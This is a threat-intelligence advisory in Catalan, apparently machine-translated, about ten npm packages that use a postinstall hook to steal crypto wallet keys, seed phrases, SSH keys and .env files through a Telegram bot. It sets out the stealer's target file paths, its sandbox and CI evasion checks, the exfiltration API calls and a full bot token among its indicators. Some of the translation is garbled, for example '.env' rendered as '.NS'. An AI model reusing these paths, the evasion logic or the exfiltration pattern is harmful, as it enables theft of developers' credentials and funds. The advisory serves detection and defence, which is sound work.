TL; DR
El 9 de juny de 2026, un únic compte d'editor npm, aicrypto-xzggg, enviat deu paquets amb noms amb gust de criptografia i Web3 — farming-tools-12, swap-sdk-87, defi-tools-39, wallet-sdk-9, i sis més.
Cada paquet executa la mateixa càrrega útil des d'un postinstall hook. Durant la instal·lació, comprova si s'està executant dins de CI o d'un sandbox; si no, llegeix els magatzems de claus de cartera, els fitxers de frases llavor, les claus SSH i .env fitxers de sis ecosistemes blockchain i els transmet a un bot de Telegram.
L'únic indicador que un defensor pot buscar immediatament és l'ID del bot de Telegram. 8227918239.
Severitat: crític — robatori directe de claus de signatura i frases de recuperació de estacions de treball de desenvolupador.
L'atac: com funciona
Els paquets s'anuncien com a utilitats per a desenvolupadors de blockchain. paquet.json és mínim i apunta el cicle de vida de la instal·lació a un script:
{ "name": "farming-tools-12", "main": "src/index.js", "scripts": { "postinstall": "node scripts/postinstall.js" }, "keywords": ["web3", "crypto", "blockchain", "solana", "ethereum"], "author": "Alex Smith", "license": "MIT" }scripts/postinstal·lació.js és un shim d'una sola línia que carrega la càrrega útil real: require("../src/index.js"). Perquè postinstal·lació s'executa automàticament durant npm instal·lar, no cal que el desenvolupador importi codi: només cal col·locar el paquet en un arbre de dependències per executar-lo.
La cadena de mort a l'interior src/index.js són quatre passos:
- Comprovació de l'entorn. Una funció de guarda decideix si l'amfitrió té l'aspecte d'un agent de compilació o d'un espai de proves d'anàlisi.
- Retard. L'execució s'ajorna darrere d'un setTimeout d'aproximadament 7.4 segons.
- Col · lecció. Es recorre una llista fixa de rutes de fitxers de cartera, clau i secrets; els fitxers existents es posen en cua.
- Exfiltració. Els fitxers en cua s'envien a un bot de Telegram, precedits d'un missatge de resum.
La llista de destinacions de la col·lecció abasta sis cadenes més secrets genèrics de desenvolupador. Retallat:
~/.config/solana/id.json ~/.ethereum/keystore ~/.solana/keypair.json ~/.bitcoin/wallet.dat ~/.tron_wallet/keystore ~/.sui/sui_config/sui.keystore ~/.aptos/key.txt ~/.ssh/id_rsa , ~/.ssh/id_ed25519 ./wallet.json ./keystore.json ./mnemonic.txt ./seed.txt ./seedphrase.txt ./recovery.txt ./private.key ./.env ./.env.localVint-i-una rutes en total. Entrades de directori com ara ~/.ethereum/keystore s'expandeixen i tots els fitxers que hi ha a dins es posen en cua. L'exfiltració utilitza directament l'API del bot de Telegram, una enviaMissatge trucada amb un resum de l'amfitrió i del fitxer, i després un sendDocument càrrega múltiple per a cada fitxer:
text
POST https://api.telegram.org/bot<token>/sendMessage POST https://api.telegram.org/bot<token>/sendDocument (one per file)El missatge de resum que assembla el codi comença amb la cadena literal Lladre de criptomonedes, seguit del nom d'amfitrió, el nom d'usuari, el nom del paquet d'origen, el recompte de fitxers i la marca de temps.
Què hi ha de nou aquí?
El diferenciador no és el mecanisme de robatori: exfil basat en Telegram de npm postinstal·lació hooks està ben trepitjat. És el porta d'execució. Abans de fer res, la càrrega útil crida una funció que retorna true quan l'amfitrió s'assembla a un executor de CI o a un sandbox, i retorna aviat quan ho fa:
text
isTestEnvironment() is true when ANY of: - env CI == "true" OR GITHUB_ACTIONS == "true" OR JENKINS_HOME set - env NODE_ENV in {test, development} - username/USER contains: runner, sandbox, test, docker, jenkins, gitlab, travis, circleci - hostname contains: sandbox, test, ci - hostname matches /^[a-f0-9]{12}$/ (a container-id shape)La clàusula notable és l'expressió regular de l'ID del contenidor: un nom d'amfitrió de 12 caràcters hexadecimals és la forma predeterminada que Docker assigna a un contenidor, de manera que la càrrega útil tracta "el meu nom d'amfitrió sembla un contenidor Docker" com una raó per romandre inactiu. Combinat amb el retard de set segons, el disseny afavoreix l'execució a l'estació de treball real d'un desenvolupador i la retenció de silenci en qualsevol lloc que sembli una anàlisi automatitzada. Aquesta porta és la que va suprimir els senyals d'anàlisi dinàmica i va mantenir el flux d'exfil estàtic com a principal prova de convicció.
Línia de temps
| Data (UTC) | esdeveniment |
|---|---|
| 2026-06-09 ~02:48 | Primers paquets del clúster marcats en la publicació (crypto-utils-7, ethereum-kit-1, web3-tools-9, solana-core-4, blockchain-helper-0) |
| 2026-06-09 ~03:21–03:25 | Membres amb versions superiors marcats (ethereum-kit-9 a 1.25.36, wallet-sdk-9 a les 3.7.73:XNUMX) |
| 2026-06-09 ~03:58–03:59 | Membres finals marcats (defi-tools-39 a 4.26.29, swap-sdk-87 a 4.63.78, farming-tools-12 a les 4.68.54:XNUMX) |
| 2026-06-09 | Tots deu classificats com a maliciosos i reportats per a la seva eliminació al registre |
Tots deu van aparèixer en uns setanta minuts, cosa que concorda amb una única tirada de publicació amb guió d'un sol compte.
Indicadors de compromís
Indicadors de xarxa i comportament (amfitrió desactivat):
| Indicador | Valor |
|---|---|
| Punt final d'Exfil | api[.]telegram[.]org (API del bot de Telegram) |
| ID del bot de Telegram | 8227918239 |
| Testimoni del bot | 8227918239:AAGEMDrBZluDsBBYPxfSyMuv2l3FY8cZCcs |
| ID de xat de Telegram | 6433587894 |
| Instal·la el ganxo | postinstall → scripts/postinstall.js → src/index.js |
| Cadena de marcadors | CRYPTO STEALER en el missatge resum recopilat |
| Editor | aicrypto-xzggg (correu electrònic indicat vipsyria88@gmail[.]com, sense verificar) |
Paquets i versions, cadascun amb el SHA-256 del seu src/index.js càrrega útil (les càrregues útils són funcionalment idèntiques i només difereixen en l'etiqueta del nom del paquet incrustat, de manera que cada hash és diferent):
| paquet | version | SHA-256 de src/index.js |
|---|---|---|
farming-tools-12 | 4.68.54 | b50403be9dd9f94f7af4795c1e346c9d27d5a18041a3044773238c4cdc1f4de4 |
swap-sdk-87 | 4.63.78 | 9d96f8759e8d593b6dd2338aceb08cdb12e9a5613700953e04e66cc8c2e3087c |
defi-tools-39 | 4.26.29 | ddc5011b6173a57bc7f29b010ed6b71551dee253b5d05d3efc78d076f5351fee |
wallet-sdk-9 | 3.7.73 | ef4459281c64f1fe8923d703d416f04080ff1a2b7b385366f46d7cdb25731502 |
ethereum-kit-9 | 1.25.36 | c43afad949027040c6414d26fa4eea6e2671d2572f9df7fd595e12baf204854f |
ethereum-kit-1 | 1.0.0 | 1147f5227f3b13f65a438b31d87766c33affc65b7734a8658c95e0a4be1d2381 |
solana-core-4 | 1.0.0 | 93c65f971137d2753b5c57b685471bf5319bdc357fa863de56cbed8447cf576d |
web3-tools-9 | 1.0.0 | db97070bd349503f5703404493fc925448c2308c86708b33786309ebe6446a3d |
crypto-utils-7 | 1.0.0 | 59f2fb112d6f17102fb4a70c8d12bfcbc93e9f0d170fe4451bad1aa4d5d74c92 |
blockchain-helper-0 | 1.0.0 | 053eb318980439d76eecac9847ae31ecf59654cf75ddcfebbdd9ce64bb98a0db |
Una consulta de caça senzilla: cerca els registres d'instal·lació i els fitxers de bloqueig per a qualsevol dels deu noms i cerca el trànsit de sortida per a connexions a l'API del bot de Telegram des d'amfitrions de compilació o de desenvolupador que no l'utilitzen d'altra manera.
Atribució i comportament observat
Els deu paquets van ser publicats per un sol compte, aicrypto-xzggg, el correu electrònic indicat del qual és vipsyria88@gmail[.]comTant el correu electrònic com l'enllaç de control de la font no estan verificats a les metadades del registre i el compte té una puntuació de reputació molt negativa. No hem confirmat qui gestiona el compte.
Cal separar dos detalls de qualsevol reivindicació d'identitat. Primer, el paquet.json autor lectures de camp Alex Smith a cada paquet, mentre que el compte de publicació real és aicrypto-xzggg; el camp d'autor són metadades autodeclarades i no estableixen l'autoria. En segon lloc, els números de versió varien molt: alguns membres es troben a 1.0.0, altres a 4.68.54 — la qual cosa és coherent amb la reutilització d'una única càrrega útil en noms de paquets recentment creats en lloc de mantenir els historials de llançaments reals.
El comportament és uniforme a tot el clúster: la mateixa llista de rutes de destinació, el mateix ID de bot de Telegram i ID de xat, la mateixa porta d'entorn, el mateix Lladre de criptomonedes marcador. Aquesta uniformitat és el vincle més fort entre els paquets. És un senyal del mateix operador, no una identitat.
Impacte, tendències i orientació per a defensors
L'exposició és concreta. Un desenvolupador que instal·la qualsevol d'aquests paquets en una estació de treball que conté una cartera de programari, un fitxer de frases llavor o una clau SSH fa que aquests fitxers siguin llegits i transmesos des de l'amfitrió en qüestió de segons. Les frases de recuperació i les claus de signatura no caduquen com ho fa un testimoni de sessió; un cop un mnemònic.txt o una Solana id.json surt de la màquina, els fons que controla estan en risc fins que es mouen. La mateixa execució també captura .NS fitxers, que normalment contenen claus API i credencials de base de dades.
Dues tendències s'amaguen darrere d'aquest clúster. La primera és l'ús continu de noms amb temàtica criptogràfica i Web3 per atraure un públic específic: desenvolupadors que mantenen moneders i claus a la mateixa màquina on instal·len dependències. La segona és la maduració de l'evasió de sandbox en càrregues útils en temps d'instal·lació. Una porta que comprova les variables d'entorn de CI, els noms d'usuari de l'executor i una forma de nom d'amfitrió d'ID de contenidor de Docker és un esforç deliberat per comportar-se de manera diferent durant l'anàlisi que en una estació de treball real, i eleva el llistó per a la detecció purament dinàmica.
Per als defensors:
Instal·lació amb els scripts desactivats per defecte. instal·lació de npm –ignore-scripts, o conjunt ignora-scripts=true in .npmrc, prevé postinstal·lació execució; habilitar els scripts només per a les dependències específiques que realment els necessiten.
Mantingueu les carteres i les claus de signatura fora de les màquines de compilació i desenvolupament. Feu servir una cartera de maquinari o un amfitrió de signatura dedicat i sense dependències.
Tractar .NS, magatzems de claus i fitxers de frases llavor com a joies de la corona. Mai no haurien de seure en un directori que també sigui un npm instal·lar arbre de treball.
Busca connexions sortints a l'API del bot de Telegram des d'amfitrions de CI i desenvolupadors. La majoria d'entorns de compilació no la criden mai; val la pena investigar-ne un que ho faci de sobte, just després d'una instal·lació.
Fixa i revisa les dependències. Un paquet nou de trinca amb un nom criptogràfic genèric, un postinstal·lació hook, i cap enllaç de repositori no justifica una mirada abans d'entrar a un fitxer de bloqueig.
La clàusula d'evasió de l'ID del contenidor també és un recordatori per als analistes: una càrrega útil en temps d'instal·lació que roman inactiva en un espai de proves no és benigna, és selectiva. La revisió estàtica de la ruta d'instal·lació continua sent la manera fiable de veure què pot negar-se a mostrar l'execució dinàmica.
referències
documentació d'instal·lació de npm: scripts del cicle de vida i -ignore-scripts— referència per desactivar la instal·lació automàtica hooks.







